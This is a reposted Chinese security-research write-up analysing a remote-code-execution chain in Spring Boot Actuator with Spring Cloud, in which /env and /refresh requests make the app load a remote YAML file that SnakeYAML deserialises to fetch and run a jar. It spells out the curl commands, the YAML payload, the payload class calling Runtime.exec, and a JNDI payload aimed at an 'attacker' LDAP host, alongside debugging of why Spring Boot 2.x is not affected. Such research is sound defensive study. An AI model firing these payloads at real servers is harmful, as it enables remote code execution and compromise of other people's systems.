转载

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

文 | b1ngz@小米安全

0x01. TL;DR

今年二月份,Michael Stepankin 大佬写了一篇关于 Spring Boot Actuator 的利用文章 [1] ,文中介绍了多种利用思路和方式,接着作者在五月份的时候进行了更新,增加了在使用 Spring Cloud 相关组件时, 通过修改 spring.cloud.bootstrap.location  环境变量实现 RCE 的方法,因为网上没有找到该方法的分析文章,自己 debug 并记录了一下过程,主要内容包括:

  • 通过修改环境变量实现 RCE 的原理和过程分析

  • SnakeYAML 反序列化介绍和利用

  • 高版本 Spring Boot Actuator 利用测试和失败原因分析

  • 自己的一些思考

本文中涉及到的代码和漏洞环境参考:

https://github.com/b1ngz/spring-boot-actuator-cloud-vul

0x02. RCE 分析

首先简单总结一下利用过程:

1.利用   /env    endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如:http://127.0.0.1:63712/yaml-payload.yml
2.请求 /refresh  endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。

从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子:

@Test

public void testYaml () {

Yaml yaml =  new Yaml();

Object url = yaml.load( "!!java.net.URL [/"http://127.0.0.1:63712/yaml-payload.jar/"]" );

// class java.net.URL

System.out.println(url.getClass());

// http://127.0.0.1:63712/yaml-payload.jar

System.out.println(url);

}

SnakeYAML 支持  !! + 完整类名的方式来指定要反序列化的类,然后以   [arg1, arg2, ...]  的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个   java.net.URL  类的实例。

再来看一下文章给出的外部 yml 文件 yaml-payload.yml 的内容:

!!javax.script.ScriptEngineManager [

!!java.net.URLClassLoader [[

!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]

]]

]

SnakeYAML 处理上述内容的过程可以等价于以下 java 代码:

URL url =  new URL( "http://127.0.0.1:63712/yaml-payload.jar" );

new ScriptEngineManager( new

new

URL[]{url}));

代码执行后,会从   http://127.0.0.1:63712/yaml-payload.jar  地址下载 jar 包,并在包中寻找一个   javax.script.ScriptEngineFactory  接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码

大致过程明白了,接着我们来 debug 一下。

作者给出的   yaml-payload.jar  代码见 https://github.com/artsploit/yaml-payload, 关键代码为  Awesome ScriptEngineFactory.java  类,构造函数中使用 Runtime 来执行系统命令:

package artsploit;

import javax.script.ScriptEngine;

import javax.script.ScriptEngineFactory;

import java.io.IOException;

import java.util.List;

public class   AwesomeScriptEngineFactory   implements   ScriptEngineFactory   {

public AwesomeScriptEngineFactory () {

try {

Runtime.getRuntime().exec( "/Applications/Calculator.app/Contents/MacOS/Calculator" );

catch (IOException e) {

e.printStackTrace();

}

}

...

}

我们在   Runtime.exec()  方法下断点,调用栈如下:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

方法调用顺序:

javax.script.ScriptEngineManager<init>

javax.script.ScriptEngineManager.init()

javax.script.ScriptEngineManager.initEngines()

java.util.ServiceLoader.LazyIterator.nextService()

artsploit.AwesomeScriptEngineFactory<init>

Runtime.getRuntime().exec()

  ScriptEngineManager   类的   initEngines   方法中使用了 Java SPI 机 制来动态加载接口   ScriptEngineFactory   的实现类:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

这也是为什么 jar 包中 AwesomeScriptEngineFactory 类需要实现 ScriptEngineFactory 接口、并且   META-INF/services   目录下需要有一个文件名为 javax.script.ScriptEngineFactory 值为实现类完整包名的原因,即需要符合 Java SPI 实现规范。

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

在  ServiceLoader   加载实现类的过程中,会调用无参数构造方法来创建实例,触发命令执行,对应代码在  ServiceLoader.LazyIterator  类的 nextService()

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

分析完 YAML 反序列化后,我们来看一下在 Spring Boot Actuator 中时的执行流程,漏洞环境和代码见 master 分支。

以 debug 模式运行漏洞环境,同样在 Runtime.exec() 方法下断点,首先修改  spring.cloud.bootstrap.location

curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"  

访问 http://127.0.0.1:61234/env,可以看到在  manager   下多了我们设置的值:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

然后请求   /refresh  接口触发:

curl -XPOST http://127.0.0.1:61234/refresh

调用栈比较长,我们来看几个关键的地方,第一个是   RefreshEndpoint.refresh()   方法 ,即处理   /refresh   接口请求的类:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

第二个是 BootstrapApplicationListener.bootstrapServiceContext()  方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location   的值,即之前设置的外部 yml 文件 url:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

接着会到 org.springframework.boot.env.PropertySourcesLoader.load()  方法,根据文件名后缀 (yml) ,使 用  YamlPropertySourceLoader  类加载 url 对应的 yml 配置文件。

根据右侧代码,因 spring-beans.jar 包含 snakeyaml.jar,因此   YamlpropertySourceLoader    在默认情况下是使用 SnakeYAML 库解析配置:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

最终由   YamlProcessor.process()  方法中调用  Yaml.loadAll()  解析 yml 文件内容 ,之后的流程就和前面  SnakeYAML   反序列化过程类似,最终触发命令执行:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

0x03. 高版本测试

作者在文章中给出的漏洞环境是 Spring Boot 1.x 版本,而在实际的测试过程中,遇到很多情况是 Spring Boot 2.x 版本。在 2.x 版本中,actuator 默认的 endpoint 前缀是  /actuator ,并且修改环境变量的   env   接口的 post body 也变成了 json 格式,步骤为:

  • 修改环境变量

curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'

访问 http://127.0.0.1:61234/actuator/env,可以看到 propertySources 下多了刚才设置的值:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

  • 接着 refresh 触发:

curl -XPOST http://127.0.0.1:61234/actuator/refresh

执行完后,你会发现计算器并没有弹出,此时,黑人问号???只能再次 debug 找下原因,经过一番研究,发现是因为  spring.cloud.bootstrap.location   属性的值没有生效的缘故。

来回忆一下之前提到的第二个关键点 BootstrapApplicationListener.bootstrapServiceContext()  ,这里从环境变量中获取到了  spring.cloud.bootstrap.location  的值,即之前设置的外部 yml 文件 url:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

可以看到 configLocation 的值为空,即无法从 environment 解析到    ${spring.cloud.bootstrap.location}    的值

通过对调用方法和变量的分析,发现是因为   environment   变量中的  propertySourceList   属性发生了变化。先来看一下 1.x 版本的,可以看到是包含名为   manager   的 PropertySource:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

再来看一下 2.x 版本的,会发现没有了:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

而PropertySources 的加载代码在 org.springframework.cloud.context.refresh.ContextRefresher     copyEnvironment()  方法中:

private StandardEnvironment  copyEnvironment (ConfigurableEnvironment input)

相同的,我们先来看一下 1.x 的逻辑:

private StandardEnvironment  copyEnvironment (ConfigurableEnvironment input) {

StandardEnvironment environment =  new StandardEnvironment();

MutablePropertySources capturedPropertySources = environment.getPropertySources();

// 清空

for (PropertySource<?> source : capturedPropertySources) {

capturedPropertySources.remove(source.getName());

}

// 见下图

for (PropertySource<?> source : input.getPropertySources()) {

capturedPropertySources.addLast(source);

}

environment.setActiveProfiles(input.getActiveProfiles());

environment.setDefaultProfiles(input.getDefaultProfiles());

Map<String, Object> map =  new HashMap<String, Object>();

map.put( "spring.jmx.enabled"false );

map.put( "spring.main.sources""" );

capturedPropertySources

.addFirst( new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));

return environment;

}

input.getPropertySources()   的值:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

以下是 2.x 的逻辑:

private static final String[] DEFAULT_PROPERTY_SOURCES =  new String[] {

// order matters, if cli args aren't first, things get messy

// commandLineArgs

CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,

"defaultProperties" };

private StandardEnvironment  copyEnvironment (ConfigurableEnvironment input) {

StandardEnvironment environment =  new StandardEnvironment();

MutablePropertySources capturedPropertySources = environment.getPropertySources();

// 以下代码发生了变化

// environment (everything else should be pristine, just like it was>         for (String name : DEFAULT_PROPERTY_SOURCES) {

if (input.getPropertySources().contains(name)) {

// 替换

if (capturedPropertySources.contains(name)) {

capturedPropertySources.replace(name,

input.getPropertySources().get(name));

}

else// 添加

capturedPropertySources.addLast(input.getPropertySources().get(name));

}

}

}

environment.setActiveProfiles(input.getActiveProfiles());

environment.setDefaultProfiles(input.getDefaultProfiles());

Map<String, Object> map =  new HashMap<String, Object>();

map.put( "spring.jmx.enabled"false );

map.put( "spring.main.sources""" );

capturedPropertySources

.addFirst( new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));

return environment;

}

根据代码可以知道,只有 name 在  DEFAULT_PROP ERTY_SOURCES   中的   PropertySource   才会被处理,其值为 String 数组,仅包含

  • commandLineArgs

  • defaultProperties

而我们添加的是属性值是在 name 为 manager 的  PropertySource   ,因此不会被添加 environment的 propertySourc es (capturedPropertySources) ,最终导致无法 resolve。

到此,可以确定通过修改 spring.cloud.bootstrap.location   属性实现 RCE 的方法在高版本下无法成功。

为了找到可利用的版本范围,看了下 git 的提交记录,发现该修改 https://github.com/spring-cloud/spring-cloud-commons /commit/91f60b3f4cad8a5ce2976a43ee33220c39bd762b#diff-38bfd6c45be21acfba1aac62e7250f69) 是在 spring-cloud-commons  1 .3.0.RELEASE 合并的,因此只有依赖小于   1.3.0.RELEASE 才 受影响。

并且 Spring Cloud 相关 jar 包的依赖版本取决于 spring-cloud-dependencies 的版本,通过 pom.xml 可以知 道,spring-cloud-dependencies 的 Dalston.RELEASE 版本依赖的还是 1.2.0 的spring-cloud-commonsm,而 之后的版本则依赖 >= 1.3.0,根据文档 https://spring.io/projects/spring-cloud 中 Spring Cloud 对 Spring Boot 的版本适配说明:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

我们可以知道:

  • Spring Boot 2.x 无法利用成功

  • Spring Boot 1.5.x 在使用   Dalston  版本时可利用成功,使用   Edgware   无法成功

  • Spring Boot <= 1.4 可利用成功

0x04. 思考

How to find?

作者是如何找到这个利用方式的?这个一直是看完这种大佬文章后第一个想知道答案的问题,也是最难的问题,这里尝试找到一些思路和线索。

首先,在不使用 Spring Cloud 组件时,Spring Boot Actuator 的 /env endpoint 默认情况下只能读取环境变量的值,因此第一问题就是,如何得知有可以修改环境变量的功能?

这里就需要对 Spring 生态,如 Spring Boot, Spring Cloud 等,有一定的了解和使用经验,否则会无从下手。通过搜索 Spring Cloud 的文档,找到了相关说明   https://cloud.spring.io/spring-cloud-static/spring-cloud.html# _endpoints。

  • POST to /env to update the Environment and rebind @ConfigurationProperties and log levels

  • /refresh for re-loading the boot strap context and refreshing the @RefreshScope beans

从文档中,我们也知道了请求  /refresh  可以触发 bootstrap context reload,并加载修改后的环境变量,那么接下来的问题就是找到哪些环境变量是可以修改的,并且在 reload 之后会执行某些敏感的操作。根据文章中的说明,能修改的环境变量非常的多,需要一一尝试。

这里正向思考没有什么思路,转从逆向,尝试从 spring.cloud.bootstrap.location   入手,根据Spring文档中说明customizing-bootstrap-properties [6]

Thebootstrap.yml(or.properties) location can be specified by setting spring.cloud.bootstrap.name(default:bootstrap)or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.

可以得知这个变量是用于指定 bootstrap 配置文件的位置,支持的文件格式包括   yml     properties   ,对 Java 安全熟悉的朋友可能会联想到 yml 的解析会存在反序列化 [2] 的问题,如果这里配置文件的内容我们能够控制,就存在可以被利用的可能。

再下一步,就是结合 Spring Cloud 源码和动手 debug,确定 spring.cloud.bootstrap.location   环境变量的处理和配置文件的解析过程。根据前面的分析,我们知道代码中会下载指定的 yml 文件,并且使用 SnakeYAML 库进行解析,因此存在反序列化漏洞。

当然,实际的过程 会比刚才描述的要复杂很多,需要投入很多的时间和精力阅读文档、调试代码。

SnakeYAML Payload

从文档可知, 除  javax.script.ScriptEngineManager   类,我们还可以使用  com.sun.rowset.JdbcRowSetImpl   类,  通过 JNDI 注入来完成利用, ( https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf), payload 如下:

!!com.sun.rowset.JdbcRowSetImpl

dataSourceName: ldap://attacker/obj

autoCommit: true

相比   ScriptEngineManager ,JNDI 注入在高版本 JDK 利用会有一些限制,不过因为 Spring Boot 默认使用 Tomcat 容器,仍可以成功利用,详细可参考 Michael Stepankin 大佬的另一篇文章 Exploiting JNDI Injections  in Java9  (https://www.veracode.com/blog/research/exploiting-jndi-injections-java)

Changes In YamlPropertySourceLoader

在寻找高版本 Spring Boot Actuator 失败原因的过程中,也发现了即使   spring.cloud.bootstrap.location   能够成功 resolve,也仍然无法成功,原因在于 Spring boot 中解析 yml 的类 org.springframework.boot.env.YamlPropertySourceLoader  逻辑也发生了变化,测试代码如下:

@Test

public void test () throws Exception  {

new YamlPropertySourceLoader().load( "name"new ClassPathResource( "payload/yaml-payload.yml" ));

}

执行后会报如下错误:

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

错误信息很明显,实例化   java.net.URL   时,构造方法的参数类型不正确,debug 后发现,高版本的 Spring Boot 将解析后的值存放在了 org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequence 类中,而不是 java.lang.String,导致在反射创建实例时失败。

0x05. 总结

文章简单分析了在同时使用 Spring Boot Actuator Spring Cloud 时,利用修改   spring.cloud.bootstrap.location   环境变量实现 RCE 的原理和步骤,虽然在高版本中无法利用成功,但过程还是很值得学习。并且由于 Spring 生态的框架和组件非常的多,或许会有更多的利用方法,感兴趣的师父可以尝试研究一下。

后,因个人水平有限,文章中可能会有描述不准确或者错误的地方,欢迎大家指出和交流。

0x06. 参考

[1] Exploiting Spring Boot Actuators

(https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)

[2] Java-Deserialization-Cheat-Sheet - SnakeYAML (YAML)

(https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml)

[3] Java Unmarshaller Security

(https://github.com/mbechler/marshalsec)

[4] SnakeYAML Documentation

(https://bitbucket.org/asomov/snakeyaml/wiki/Documentation)

[5] Spring Cloud

(https://spring.io/projects/spring-cloud)

[6] Spring Cloud Context: Application Context Services

(https://cloud.spring.io/spring-cloud-commons/multi/multi__spring_cloud_context_application_ context_services.html#_customizing_the_bootstrap_configuration)

[7]Spring Boot Actuator + Spring Cloud Vul Env

(https://github.com/b1ngz/spring-boot-actuator-cloud-vul)

Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

原文  http://mp.weixin.qq.com/s?__biz=MzI2NzI2OTExNA==&mid=2247486195&idx=1&sn=98d1473cc07d1b1579209e05009f4928
正文到此结束
Loading...